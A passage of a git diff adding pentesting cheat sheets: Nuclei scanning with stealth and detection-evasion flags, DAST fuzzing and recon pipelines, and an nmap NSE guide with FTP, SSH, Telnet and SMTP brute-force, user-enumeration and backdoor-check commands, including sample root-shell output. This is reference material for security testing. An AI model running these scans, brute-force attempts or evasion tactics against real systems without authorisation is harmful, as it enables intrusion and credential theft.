[!info]+ Rate / Concurrency Flags + +| Flag | Description | Default | +|---|---|---| +| `-rl` | Max requests per second | 150 | +| `-c` | Templates executed in parallel | 25 | +| `-bs` | Hosts per template in parallel | 25 | +| `-timeout` | Request timeout (seconds) | 10 | +| `-retries` | Retries per failed request | 1 | +| `-mhe` | Max errors before host is skipped | 30 | +| `-project` | Deduplicate requests across runs | off | + +> [!info]+ OPSEC Flags + +| Flag | Effect | +|---|---| +| `-ni` | Disable Interactsh / OAST callbacks entirely | +| `-iserver` | Use self-hosted Interactsh (no PD infrastructure) | +| `-p` | Proxy all traffic (http/socks5) | +| `-H` | Inject custom headers (e.g. UA spoof) | +| `-tlsi` | Randomise TLS JA3 fingerprint (experimental) | +| `-passive` | Process existing responses only; zero active requests | +| `-duc` | Disable auto-update check; no outbound to GitHub on start | +| `-config` | Load settings from file; avoids CLI exposure in process list | + +```bash +# Low-and-slow stealth scan — high/critical only +nuclei -l targets.txt -rl 5 -c 5 -bs 5 -timeout 15 -s high,critical + +# No OAST, proxied, spoofed UA, throttled +nuclei -u https://example.com \ + -ni \ + -p http://127.0.0.1:8080 \ + -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \ + -rl 10 -c 5 + +# Passive mode — zero active requests (feed Burp export) +nuclei -l burp_responses.txt -im jsonl -passive + +# TLS fingerprint randomisation +nuclei -u https://example.com -tlsi + +# Resume a large interrupted scan +nuclei -l targets.txt -resume resume.cfg + +# Disable update telemetry entirely +nuclei -u https://example.com -duc -ni +``` + +> [!info]+ Command Breakdown +> 1. **`-rl 5 -c 5 -bs 5`** — throttles to 5 req/s, 5 parallel templates, 5 hosts at once; drastically reduces noise +> 2. **`-ni`** — the single most important OPSEC flag; stops DNS/HTTP callbacks to `oast.pro`, `oast.live`, `oast.me` which are **externally observable** +> 3. **`-passive -im jsonl`** — feeds pre-captured responses (e.g. Burp export); zero new requests sent to target +> 4. **`-tlsi`** — randomises TLS JA3 fingerprint; experimental but reduces tool-specific TLS detection +> 5. **`-duc`** — prevents version-check HTTP request to GitHub on every invocation; relevant in air-gapped or monitored environments + +> [!warning]+ OPSEC / Detection Notes +> 6. **`-ni` is the single most important OPSEC flag** — OAST callbacks to `oast.pro`/`oast.live`/`oast.me` are externally observable and will expose the scan +> 7. Default 150 req/s across 25 parallel templates is very loud; reduce to ≤10 req/s for stealth operations +> 8. All requests still appear in web server `access.log` — no flag prevents server-side logging +> 9. **`-duc`** prevents a version-check HTTP request to GitHub on every invocation +> 10. Self-host [Interactsh](https://github.com/projectdiscovery/interactsh) for OOB testing with zero external callbacks +> 11. Prefer narrow template sets (`-t http/cves/ -s high,critical`) over all-templates runs — cuts request count by 90%+ +> 12. **`-as`** auto-scan fires a Wappalyzer fingerprint probe first — adds one visible pre-scan request + +--- + +## DAST / Fuzzing + +> [!danger]+ Authorisation Warning +> DAST mode sends **modified/injected payloads** — highly detectable by WAF/IDS. Only use on explicitly authorised scope. Combine with `-rl 5 -ni -p http://127.0.0.1:8080` for proxied, throttled fuzzing. + +```bash +# Clone fuzzing templates +git clone https://github.com/projectdiscovery/fuzzing-templates + +# Enable DAST mode — all fuzzing templates +nuclei -list endpoints.txt -dast + +# Fuzz query parameters only +nuclei -list endpoints.txt -dast -tags fuzzing-req-query + +# Fuzz request body only +nuclei -list endpoints.txt -dast -tags fuzzing-req-body + +# Fuzz cookies +nuclei -list endpoints.txt -dast -tags fuzzing-req-cookie + +# Fuzz request headers +nuclei -list endpoints.txt -dast -tags fuzzing-req-header + +# Fuzz URL path segments +nuclei -list endpoints.txt -dast -tags fuzzing-req-path + +# Skip header + cookie fuzzing to reduce noise +nuclei -list endpoints.txt -dast -etags fuzzing-req-header,fuzzing-req-cookie + +# Katana crawl → Nuclei DAST pipeline +katana -u https://example.com -jc -aff -o endpoints.txt +nuclei -list endpoints.txt -dast -s high,critical -rl 10 + +# Feed Katana JSONL output directly +nuclei -l katana.jsonl -im jsonl -dast +``` + +> [!info]+ DAST Fuzzing Flags + +| Flag | Description | Default | +|---|---|---| +| `-dast` | Enable DAST / fuzzing templates | off | +| `-ft` | Override fuzzing type: `replace,prefix,postfix,infix` | template default | +| `-fm` | Override fuzzing mode: `multiple,single` | template default | +| `-fa` | Aggression level: `low,medium,high` | `low` | +| `-fuzz-param-frequency` | Skip param after N uninteresting hits | 10 | + +> [!info]+ Command Breakdown +> 1. **`-dast`** — activates DAST engine; requires fuzzing-templates to be present +> 2. **`-tags fuzzing-req-query`** — restricts fuzzing to URL query parameters; lowest-noise DAST option +> 3. **`-etags fuzzing-req-header,fuzzing-req-cookie`** — excludes header and cookie fuzzing; reduces detection surface +> 4. **`katana -jc -aff`** — JavaScript crawling with form filling; produces comprehensive endpoint list for DAST input +> 5. **`-im jsonl`** — tells Nuclei the input file is JSONL format (Katana's native output format) + +--- + +## Workflows & Chaining + +> [!faq]+ What are Workflows? +> Workflows run multi-step conditional scans — detect technology first, then automatically select and run relevant templates. Defined in YAML; avoids running irrelevant templates against every target. + +```bash +# Run a specific workflow +nuclei -u https://example.com -w workflows/cms-detect.yaml + +# Run all workflows in a directory +nuclei -u <target> -w workflows/ + +# Run all official workflows +nuclei -u https://example.com -w ~/.local/nuclei-templates/workflows/ + +# Combine workflow + structured output +nuclei -u https://example.com -w workflows/cms-detect.yaml \ + -markdown-export ./report/ -s medium,high,critical +``` + +> [!example]+ CMS Detection Workflow YAML +```yaml +id: example-workflow +info: + name: CMS Detection + Targeted Scan + author: operator + severity: info +workflows: + - template: http/technologies/cms-detection.yaml + matchers: + - name: wordpress + subtemplates: + - tags: wp-plugin,wp-theme + - template: http/cves/2021/ # WordPress CVEs + - name: drupal + subtemplates: + - tags: drupal + - name: joomla + subtemplates: + - tags: joomla +``` + +> [!example]+ Auth Bypass Workflow YAML +```yaml +id: auth-bypass-workflow +info: + name: Auth Bypass Assessment + author: operator + severity: critical +workflows: + - template: http/technologies/tech-detect.yaml + - template: http/default-logins/ + matchers: + - name: login-successful + subtemplates: + - template: http/exposures/ + - tags: exposure,rce +``` + +> [!info]+ Workflow Structure Breakdown +> 1. **`id`** — unique identifier used in output and reporting +> 2. **`workflows > template`** — first template to execute (detection step) +> 3. **`matchers > name`** — matches a specific result from the detection template +> 4. **`subtemplates`** — templates/tags to run **only if** the matcher fires; conditional chaining +> 5. *Workflows eliminate wasted requests — e.g. WordPress CVEs only run if WordPress is confirmed* + +--- + +## Recon Pipeline Integration + +> [!important]+ Install the Full ProjectDiscovery Stack +```bash +go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest +go install github.com/projectdiscovery/httpx/cmd/httpx@latest +go install github.com/projectdiscovery/katana/cmd/katana@latest +go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest +``` + +```bash +# Subdomain → live hosts → Nuclei (high/critical CVEs) +subfinder -d example.com -silent | \ + httpx -silent | \ + nuclei -s high,critical -t http/cves/ -ni -rl 20 + +# Full pipeline: subdomains → live hosts → Nuclei with exclusions +subfinder -d example.com -silent | \ + httpx -silent | \ + tee alive.txt | \ + nuclei -l alive.txt -es info -ept ssl -s medium,high,critical \ + -ni -rl 15 -o findings.txt + +# Crawl endpoints then DAST fuzz +katana -u https://example.com -jc -aff -silent -o endpoints.txt +nuclei -list endpoints.txt -dast -tags fuzzing-req-query,fuzzing-req-body \ + -s high,critical -rl 5 -ni + +# Full automated recon pipeline (single command) +subfinder -d example.com -all -silent | \ + httpx -silent | \ + katana -list - -silent -nc -jc -aff -ef woff,css,png,svg,jpg -aff | \ + nuclei -im jsonl -es info,unknown -ept ssl -ss template-spray \ + -ni -rl 10 -o nuclei_out.txt + +# Scan from nmap XML output +nmap -sV -p80,443,8080,8443 192.168.1.0/24 -oG - | \ + grep "open" | awk '{print $2}' | \ + httpx -silent | \ + nuclei -s high,critical -ni -rl 10 +``` + +> [!info]+ Key httpx Pipeline Flags + +| Flag | Effect | +|---|---| +| `-silent` | Output URLs only | +| `-status-code` | Include HTTP status in output | +| `-title` | Include page title in output | +| `-tech-detect` | Detect technologies | +| `-mc 200,301,302` | Filter by status codes | + +> [!info]+ Command Breakdown +> 1. **`subfinder -silent | httpx -silent`** — passive subdomain enumeration feeds into live host probing; httpx filters unreachable hosts +> 2. **`tee alive.txt`** — splits the pipe; writes live hosts to file AND continues the pipeline simultaneously +> 3. **`-ept ssl`** — excludes SSL protocol templates; avoids noisy cert-expiry findings in mixed pipelines +> 4. **`-ss template-spray`** — sprays one template across ALL hosts before moving to the next; spreads load and avoids per-host detection thresholds +> 5. **`-ef woff,css,png,svg,jpg`** — Katana excludes static asset extensions; keeps endpoint list clean for Nuclei +> 6. **`-im jsonl`** — instructs Nuclei to parse input as JSONL (Katana's native output); preserves full request context + +> [!warning]+ OPSEC / Detection Notes +> 1. Always include **`-ni`** in automated pipelines — prevents uncontrolled OAST callbacks +> 2. Use **`-ss template-spray`** to spread load and avoid per-host detection thresholds +> 3. `subfinder` performs **passive enumeration only**; `katana` and `nuclei` are **active** — scope accordingly +> 4. Add **`-duc`** to suppress update checks in CI/CD pipelines + +--- + +## Writing Custom Templates + +> [!faq]+ When to Write a Custom Template +> Write custom templates when: a specific behaviour has no existing template; you need to detect a proprietary application's endpoints; you want to check for a custom misconfiguration; or you are adapting a PoC exploit for templated scanning. + +> [!example]+ Minimal HTTP Template Skeleton +```yaml +id: custom-template-id # unique; used in output + +info: + name: Example Exposed Debug Page + author: operator + severity: medium # info / low / medium / high / critical + description: Detects exposed debug endpoint + tags: exposure,custom + +http: + - method: GET + path: + - "{{BaseURL}}/debug" # {{BaseURL}} = scheme://host:port + + matchers-condition: and # and / or + matchers: + - type: word # word / regex / status / size / binary / dsl + part: body # body / header / all / interactsh_protocol + words: + - "debug mode" + - "stack trace" + condition: or # or / and + + - type: status + status: + - 200 +``` + +> [!example]+ Template with Extractor + Multiple Paths +```yaml +id: version-disclosure + +info: + name: App Version Disclosure + author: operator + severity: info + tags: tech,exposure + +http: + - method: GET + path: + - "{{BaseURL}}/version" + - "{{BaseURL}}/api/version" + - "{{BaseURL}}/status" + + matchers: + - type: regex + part: body + regex: + - '([0-9]+\.[0-9]+\.[0-9]+)' + + extractors: + - type: regex + part: body + regex: + - '([0-9]+\.[0-9]+\.[0-9]+)' +``` + +> [!example]+ OOB / OAST Template (requires Interactsh) +```yaml +id: ssrf-oob-check + +info: + name: SSRF OOB Detection + author: operator + severity: high + tags: ssrf + +http: + - method: GET + path: + - "{{BaseURL}}/?url={{interactsh-url}}" + + matchers: + - type: word + part: interactsh_protocol + words: + - "http" +``` + +```bash +# Validate template syntax +nuclei -t custom-template.yaml -validate + +# Test against single target with debug output +nuclei -u https://example.com -t custom-template.yaml -debug + +# Run with verbose output +nuclei -u https://example.com -t custom-template.yaml -v + +# Run against target list +nuclei -l targets.txt -t ./custom-templates/ -s medium,high -ni +``` + +> [!info]+ Command Breakdown +> 1. **`-validate`** — parses YAML and checks template syntax before running; always validate before deploying +> 2. **`-debug`** — prints full raw HTTP request and response for every template probe; essential for development +> 3. **`{{BaseURL}}`** — Nuclei variable automatically populated with `scheme://host:port` from the target +> 4. **`{{interactsh-url}}`** — automatically generates an OOB callback URL; match fires when the callback is received +> 5. **`matchers-condition: and`** — ALL matchers must fire for a finding to be reported; reduces false positives + +> [!info]+ Matcher Types Reference + +| Type | Matches On | +|---|---| +| `word` | Exact string presence | +| `regex` | Regular expression | +| `status` | HTTP status code | +| `size` | Response body size | +| `binary` | Binary content | +| `dsl` | DSL expression (flexible boolean logic) | +| `xpath` | XPath on HTML/XML body | + +--- + +## References + +1. [Nikto — GitHub](https://github.com/sullo/nikto) +2. [Nikto — Official Site](https://cirt.net/nikto2) +3. [Nikto — Official Documentation](https://cirt.net/nikto2-docs/) +4. [Nikto — Usage Documentation](https://www.cirt.net/nikto2-docs/usage.html) +5. [Nikto — Arch Linux Man Page](https://man.archlinux.org/man/extra/nikto/nikto.1.en) +6. [Nikto — HighOn.Coffee Cheat Sheet](https://highon.coffee/blog/nikto-cheat-sheet/) +7. [Nikto — Terminal Guide](https://www.terminal.guide/linux/security-tools/nikto/) +8. [Nuclei — GitHub](https://github.com/projectdiscovery/nuclei) +9. [Nuclei — Install Docs](https://docs.projectdiscovery.io/opensource/nuclei/install) +10. [Nuclei — Running Docs](https://docs.projectdiscovery.io/opensource/nuclei/running) +11. [Nuclei — Template Structure Docs](https://docs.projectdiscovery.io/templates/structure) +12. [Nuclei — README](https://github.com/projectdiscovery/nuclei/blob/main/README.md) +13. [Nuclei — Workflows Documentation](https://www.mintlify.com/projectdiscovery/nuclei/concepts/workflows) +14. [Nuclei — kb.offsec.nl Reference](https://kb.offsec.nl/tools/framework/projectdiscovery/nuclei/) +15. [Nuclei — Mass Scale Usage](https://ott3rly.com/using-nuclei-at-mass-scale/) +16. [Nuclei — Beginner's Guide (Bugcrowd)](https://www.bugcrowd.com/blog/the-ultimate-beginners-guide-to-nuclei/) +17. [Nuclei Templates — Official](https://github.com/projectdiscovery/nuclei-templates) +18. [Nuclei Templates — Fuzzing](https://github.com/projectdiscovery/fuzzing-templates) +19. [Nuclei Templates — DAST Templates](https://github.com/reewardius/nuclei-dast-templates) +20. [Nuclei Templates — Template Guide](https://github.com/rootklt/nuclei-template-guide/blob/main/template-guide.md) +21. [Interactsh — Self-hosted OOB](https://github.com/projectdiscovery/interactsh) +22. [Pipeline One-Liners — 0xPugal](https://github.com/0xPugal/One-Liners) +23. [ProjectDiscovery Blog](https://projectdiscovery.io/blog/uncover) + +--- + +#WebScan #Nikto #Nuclei #DAST #Fuzzing #ReconPipeline #WebAppTesting #VulnerabilityScanning #OPSEC #ProjectDiscovery diff --git a/src/content/sheets/enumeration/nse-guide.md b/src/content/sheets/enumeration/nse-guide.md @@ -0,0 +1,1536 @@ +--- +title: "NSE Guide" +description: "nmap -sV -p21 --script=ftp-anon,ftp-bounce,ftp-syst <target>" +category: enumeration +tags: ["enumeration"] +tools: ["Nmap"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/NSE Guide.md" +--- +# Safe FTP enumeration +nmap -sV -p21 --script=ftp-anon,ftp-bounce,ftp-syst <target> + +# Check for anonymous access and list files +nmap -p21 --script=ftp-anon --script-args ftp-anon.maxlist=-1 <target> + +# FTP vulnerability assessment +nmap -p21 --script=ftp-vuln-* <target> + +# Check for backdoors +nmap -p21 --script=ftp-proftpd-backdoor,ftp-vsftpd-backdoor <target> + +# FTP brute force (noisy) +nmap -p21 --script=ftp-brute --script-args userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt <target> + +# FTP brute force with timeout control +nmap -p21 --script=ftp-brute --script-args ftp-brute.timeout=10s,brute.threads=2 <target> + +# Comprehensive FTP assessment +nmap -sV -p21 --script="ftp-* and not brute" <target> +``` + +> [!info]+ Command Breakdown: FTP Enumeration +> 1. **ftp-anon**: Attempts login with username "anonymous" and email as password +> 2. **ftp-anon.maxlist**: Controls how many directory entries to list (-1 for unlimited) +> 3. **ftp-bounce**: Tests if FTP server allows bounce attacks (proxy port scans) +> 4. **ftp-vsftpd-backdoor**: Checks for backdoor in vsftpd 2.3.4 (smiley face backdoor) +> 5. **ftp-brute.timeout**: Delay between connection attempts to avoid blocking + +> [!success]+ Expected FTP Output +> ``` +> PORT STATE SERVICE VERSION +> 21/tcp open ftp vsftpd 2.3.4 +> | ftp-anon: Anonymous FTP login allowed (FTP code 230) +> |_drwxr-xr-x 2 0 0 4096 Mar 17 2010 pub +> | ftp-vsftpd-backdoor: +> | VULNERABLE: +> | vsFTPd version 2.3.4 backdoor +> | State: VULNERABLE (Exploitable) +> | IDs: CVE:CVE-2011-2523 BID:48539 +> | vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04. +> | Disclosure date: 2011-07-03 +> | Exploit results: +> | Shell command: id +> | Results: uid=0(root) gid=0(root) +> | References: +> | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 +> ``` + +> [!warning]+ FTP OPSEC Considerations +> 6. **Anonymous login attempts**: Logged in FTP server logs +> 7. **ftp-brute detection**: Extremely noisy, triggers fail2ban and IDS +> 8. **Backdoor checks**: May trigger AV/EDR alerts +> 9. **Safe scripts**: ftp-anon, ftp-syst generate normal FTP traffic +> 10. **Directory listing**: Large directories cause extended connection time + +> [!failure]+ Common FTP Issues +> 11. **Connection timeout**: FTP firewall filtering or passive mode issues +> - Solution: Verify port 21 accessible, some scripts need port 20 open +> 12. **Anonymous access denied**: Expected on secure configurations +> - Solution: Not an error - indicates proper security +> 13. **ftp-brute IP blocking**: fail2ban blocks source IP after failed attempts +> - Solution: Reduce threads and add delays with `ftp-brute.timeout` + +--- + +## Port 22 - SSH (Secure Shell) + +> [!info]+ [SSH Service Overview](https://www.openssh.com/) +> Secure Shell provides encrypted remote access and file transfer. Critical service for Linux/Unix administration. Version detection, algorithm enumeration, and authentication testing reveal security posture. + +**Key NSE Scripts for SSH**: + +> [!info]+ SSH Enumeration Scripts +> 1. **[ssh-hostkey](https://nmap.org/nsedoc/scripts/ssh-hostkey.html)**: Retrieves SSH host keys and fingerprints +> 2. **[ssh-auth-methods](https://nmap.org/nsedoc/scripts/ssh-auth-methods.html)**: Lists supported authentication methods +> 3. **[ssh2-enum-algos](https://nmap.org/nsedoc/scripts/ssh2-enum-algos.html)**: Enumerates encryption algorithms and ciphers +> 4. **[sshv1](https://nmap.org/nsedoc/scripts/sshv1.html)**: Checks for deprecated SSHv1 support +> 5. **[ssh-brute](https://nmap.org/nsedoc/scripts/ssh-brute.html)**: Credential brute forcing +> 6. **[ssh-publickey-acceptance](https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html)**: Tests public key authentication +> 7. **[ssh-run](https://nmap.org/nsedoc/scripts/ssh-run.html)**: Runs commands via SSH with credentials + +```bash +# Safe SSH enumeration +nmap -sV -p22 --script=ssh-hostkey,ssh-auth-methods,ssh2-enum-algos <target> + +# Check for SSHv1 (insecure) +nmap -p22 --script=sshv1 <target> + +# SSH host key fingerprinting +nmap -p22 --script=ssh-hostkey --script-args ssh_hostkey=full <target> + +# Enumerate supported authentication methods +nmap -p22 --script=ssh-auth-methods <target> + +# Enumerate encryption algorithms +nmap -p22 --script=ssh2-enum-algos <target> + +# Check public key acceptance +nmap -p22 --script=ssh-publickey-acceptance <target> + +# SSH brute force (VERY NOISY - triggers fail2ban) +nmap -p22 --script=ssh-brute --script-args userdb=users.txt,passdb=pass.txt <target> + +# Slow SSH brute force to avoid blocking +nmap -p22 --script=ssh-brute --script-args ssh-brute.timeout=4m,brute.threads=1,brute.firstOnly=true <target> + +# Execute command with known credentials +nmap -p22 --script=ssh-run --script-args ssh-run.cmd="uname -a",ssh-run.username=root,ssh-run.password=toor <target> + +# Comprehensive SSH assessment +nmap -sV -p22 --script="ssh-* and not brute" <target> +``` + +> [!info]+ Command Breakdown: SSH Enumeration +> 1. **ssh-hostkey**: Extracts RSA, DSA, ECDSA, ED25519 public keys +> 2. **ssh_hostkey=full**: Shows complete public key, not just fingerprint +> 3. **ssh2-enum-algos**: Lists key exchange, encryption, MAC, compression algorithms +> 4. **ssh-brute.timeout**: Critical - delay between attempts (fail2ban typically bans after 3-5 failures) +> 5. **brute.firstOnly**: Stops after finding first valid credential (faster, less noisy) + +> [!success]+ Expected SSH Output +> ``` +> PORT STATE SERVICE VERSION +> 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) +> | ssh-hostkey: +> | 2048 8a:d3:22:e4:76:4e:6e:77:9f:8b:3e:3c:9f:2e:8c:3a (RSA) +> | 256 31:7d:99:2f:1f:2e:8e:6e:8f:9e:2e:3f:7e:8e:2f:3e (ECDSA) +> |_ 256 8e:2f:3e:7e:8e:2f:3e:7e:8e:2f:3e:7e:8e:2f:3e:7e (ED25519) +> | ssh-auth-methods: +> | Supported authentication methods: +> | publickey +> | password +> |_ keyboard-interactive +> | ssh2-enum-algos: +> | kex_algorithms: (6) +> | curve25519-sha256 +> | curve25519-sha256@libssh.org +> | ecdh-sha2-nistp256 +> | ecdh-sha2-nistp384 +> | ecdh-sha2-nistp521 +> | diffie-hellman-group-exchange-sha256 +> | encryption_algorithms: (9) +> | chacha20-poly1305@openssh.com +> | aes128-ctr +> | aes192-ctr +> | aes256-ctr +> | aes128-gcm@openssh.com +> | aes256-gcm@openssh.com +> ``` + +> [!warning]+ SSH OPSEC Considerations +> 6. **ssh-brute**: Extremely noisy - fail2ban typically bans after 3-5 failed attempts +> 7. **Failed auth logging**: All failed attempts logged in /var/log/auth.log +> 8. **Safe enumeration**: hostkey, auth-methods, algorithms are normal SSH handshake +> 9. **Detection**: Multiple connections from same IP triggers automated blocking +> 10. **Modern defenses**: Ubuntu/Debian commonly run fail2ban by default + +> [!failure]+ Common SSH Issues +> 11. **IP banned after 3-5 attempts**: fail2ban or similar IPS blocking +> - Solution: Use `ssh-brute.timeout=4m` for 4-minute delays between attempts +> 12. **Connection reset**: Too many rapid connections +> - Solution: Reduce threads to 1, increase timeouts +> 13. **Public key scripts require proper key format**: PEM or OpenSSH format +> - Solution: Generate keys with `ssh-keygen -t rsa` + +> [!tip]+ SSH Security Assessment Best Practices +> 14. **Check for SSHv1**: Ancient protocol with known vulnerabilities +> 15. **Weak algorithms**: Look for CBC ciphers, MD5 MACs, weak KEX +> 16. **Authentication methods**: Password auth less secure than publickey +> 17. **Host key analysis**: Same key across multiple servers may indicate cloning +> 18. **Version detection**: Older OpenSSH versions have known CVEs + +--- + +## Port 23 - Telnet + +> [!info]+ [Telnet Service Overview](https://en.wikipedia.org/wiki/Telnet) +> Unencrypted remote access protocol. Credentials transmitted in cleartext. Presence indicates legacy systems or IoT devices. Highly insecure and should be replaced with SSH. + +**Key NSE Scripts for Telnet**: + +> [!info]+ Telnet Enumeration Scripts +> 1. **[telnet-brute](https://nmap.org/nsedoc/scripts/telnet-brute.html)**: Credential brute forcing +> 2. **[telnet-encryption](https://nmap.org/nsedoc/scripts/telnet-encryption.html)**: Checks for encryption support +> 3. **[telnet-ntlm-info](https://nmap.org/nsedoc/scripts/telnet-ntlm-info.html)**: Extracts Windows domain info via NTLM +> 4. **[tn3270-screen](https://nmap.org/nsedoc/scripts/tn3270-screen.html)**: Captures mainframe TN3270 screens + +```bash +# Basic Telnet enumeration +nmap -sV -p23 --script=telnet-encryption <target> + +# Telnet NTLM information disclosure +nmap -p23 --script=telnet-ntlm-info <target> + +# TN3270 mainframe enumeration +nmap -p23 --script=tn3270-screen <target> + +# Telnet brute force (cleartext credentials) +nmap -p23 --script=telnet-brute --script-args userdb=users.txt,passdb=pass.txt <target> + +# IoT device default credential testing +nmap -p23,2323 --script=telnet-brute --script-args userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt <target> + +# Comprehensive Telnet assessment +nmap -sV -p23 --script="telnet-*" <target> +``` + +> [!info]+ Command Breakdown: Telnet Enumeration +> 1. **telnet-encryption**: Tests if Telnet supports encryption extensions (rare) +> 2. **telnet-ntlm-info**: Forces NTLM authentication to leak domain/workgroup names +> 3. **tn3270-screen**: Captures IBM mainframe login screens +> 4. **telnet-brute**: Tests credentials over cleartext connection +> 5. *Telnet on IoT devices often on non-standard ports like 2323, 8023* + +> [!success]+ Expected Telnet Output +> ``` +> PORT STATE SERVICE VERSION +> 23/tcp open telnet Linux telnetd +> | telnet-encryption: +> |_ Telnet server does not support encryption +> | telnet-ntlm-info: +> | Target_Name: WORKGROUP +> | NetBIOS_Domain_Name: WORKGROUP +> | NetBIOS_Computer_Name: SERVER01 +> | DNS_Domain_Name: localdomain +> | DNS_Computer_Name: server01.localdomain +> |_ Product_Version: 5.0.2195 +> ``` + +> [!danger]+ Telnet Security Warnings +> 6. **Cleartext transmission**: All data including credentials sent unencrypted +> 7. **Network sniffing**: Wireshark/tcpdump can capture passwords +> 8. **No security**: Telnet provides no authentication security or confidentiality +> 9. **Replace with SSH**: Telnet should never be used on production systems +> 10. **IoT prevalence**: Routers, cameras, printers commonly have Telnet enabled + +> [!warning]+ Telnet OPSEC Considerations +> 11. **Brute force highly visible**: Cleartext passwords logged on network +> 12. **Network monitoring**: Easily detected by IDS/packet analysis +> 13. **Authentication failures**: Logged in system logs +> 14. **Safe enumeration**: telnet-encryption, telnet-ntlm-info low risk + +--- + +## Port 25/465/587 - SMTP (Simple Mail Transfer Protocol) + +> [!info]+ [SMTP Service Overview](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol) +> Email transmission protocol. Port 25 for unencrypted SMTP, 465 for SMTPS (deprecated), 587 for submission with STARTTLS. User enumeration via VRFY/EXPN commands, open relay testing, and vulnerability assessment. + +**Key NSE Scripts for SMTP**: + +> [!info]+ SMTP Enumeration Scripts +> 1. **[smtp-commands](https://nmap.org/nsedoc/scripts/smtp-commands.html)**: Lists supported SMTP commands +> 2. **[smtp-enum-users](https://nmap.org/nsedoc/scripts/smtp-enum-users.html)**: Enumerates users via VRFY/EXPN/RCPT +> 3. **[smtp-open-relay](https://nmap.org/nsedoc/scripts/smtp-open-relay.html)**: Tests for open relay misconfiguration +> 4. **[smtp-brute](https://nmap.org/nsedoc/scripts/smtp-brute.html)**: Credential brute forcing +> 5. **[smtp-vuln-cve2010-4344](https://nmap.org/nsedoc/scripts/smtp-vuln-cve2010-4344.html)**: Exim heap overflow +> 6. **[smtp-vuln-cve2011-1720](https://nmap.org/nsedoc/scripts/smtp-vuln-cve2011-1720.html)**: Postfix STARTTLS plaintext injection +> 7. **[smtp-vuln-cve2011-1764](https://nmap.org/nsedoc/scripts/smtp-vuln-cve2011-1764.html)**: Exim DKIM denial of service +> 8. **[smtp-ntlm-info](https://nmap.org/nsedoc/scripts/smtp-ntlm-info.html)**: Extracts Windows domain info via NTLM +> 9. **[smtp-strangeport](https://nmap.org/nsedoc/scripts/smtp-strangeport.html)**: Detects SMTP on unusual ports (malware indicator) + +```bash +# Safe SMTP enumeration +nmap -sV -p25,465,587 --script=smtp-commands,smtp-ntlm-info <target> + +# Test for open relay +nmap -p25 --script=smtp-open-relay <target> + +# User enumeration via VRFY and EXPN +nmap -p25 --script=smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN} <target> + +# User enumeration with custom wordlist +nmap -p25 --script=smtp-enum-users --script-args userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt,smtp-enum-users.methods={VRFY,EXPN,RCPT} <target> + +# SMTP NTLM information disclosure +nmap -p25,587 --script=smtp-ntlm-info <target> + +# SMTP vulnerability assessment +nmap -p25 --script=smtp-vuln-* <target> + +# SMTP brute force authentication +nmap -p25,587 --script=smtp-brute --script-args userdb=users.txt,passdb=pass.txt <target> + +# Comprehensive SMTP assessment +nmap -sV -p25,465,587 --script="smtp-* and not brute" <target> + +# Test multiple SMTP ports including submissions +nmap -sV -p25,465,587,2525 --script=smtp-commands,smtp-open-relay <target> +``` + +> [!info]+ Command Breakdown: SMTP Enumeration +> 1. **smtp-enum-users.methods**: Specifies enumeration technique (VRFY, EXPN, RCPT TO) +> 2. **smtp-open-relay**: Attempts to send email through server to external domain +> 3. **smtp-ntlm-info**: Forces NTLM auth to disclose domain/computer names +> 4. **smtp-commands**: Issues EHLO/HELO to enumerate extended commands +> 5. **VRFY**: Verifies if user exists (often disabled) +> 6. **EXPN**: Expands mailing list (rarely enabled) +> 7. **RCPT TO**: Tests email acceptance (slower but works when VRFY/EXPN blocked) + +> [!success]+ Expected SMTP Output +> ``` +> PORT STATE SERVICE VERSION +> 25/tcp open smtp Postfix smtpd +> | smtp-commands: mail.example.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN +> |_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH NOOP +> | smtp-enum-users: +> | Accounts found: +> | admin - Valid user +> | user1 - Valid user +> | webmaster - Valid user +> | Statistics: Performed 50 guesses in 12 seconds +> | smtp-ntlm-info: +> | Target_Name: MAIL +> | NetBIOS_Domain_Name: CONTOSO +> | NetBIOS_Computer_Name: MAIL01 +> | DNS_Domain_Name: contoso.local +> | DNS_Computer_Name: mail01.contoso.local +> |_ Product_Version: 6.1.7601 +> | smtp-open-relay: Server is an open relay (16/16 tests) +> | MAIL FROM:<antispam@insecure.org> -> RCPT TO:<relaytest@insecure.org> +> | MAIL FROM:<antispam@insecure.org> -> RCPT TO:<relaytest%insecure.org@example.com> +> ``` + +> [!warning]+ SMTP OPSEC Considerations +> 8. **User enumeration**: VRFY/EXPN attempts logged in mail server logs +> 9. **Open relay testing**: May generate email to external addresses (logged) +> 10. **Modern mail servers**: VRFY/EXPN commonly disabled on Exchange, Postfix +> 11. **RCPT TO enumeration**: Slower but more reliable, generates more logs +> 12. **smtp-brute**: Extremely noisy, triggers fail2ban and rate limiting + +> [!failure]+ Common SMTP Issues +> 13. **VRFY/EXPN disabled**: Modern security practice blocks these commands +> - Solution: Use RCPT TO method with `smtp-enum-users.methods={RCPT}` +> 14. **Connection rate limiting**: Multiple connections blocked +> - Solution: Reduce threads and add delays +> 15. **TLS required**: Port 25 may require STARTTLS before allowing commands +> - Solution: Use port 587 for modern submission protocol +> 16. **False positives on user enum**: Some servers return "User unknown" for all users +> - Solution: Verify results manually with test account + +> [!tip]+ SMTP Security Assessment Best Practices +> 17. **Open relay**: Critical misconfiguration allowing spam relay +> 18. **User enumeration**: Reveals valid email addresses for phishing +> 19. **NTLM info disclosure**: Leaks internal domain names +> 20. **Version detection**: Outdated Postfix/Exim/Sendmail 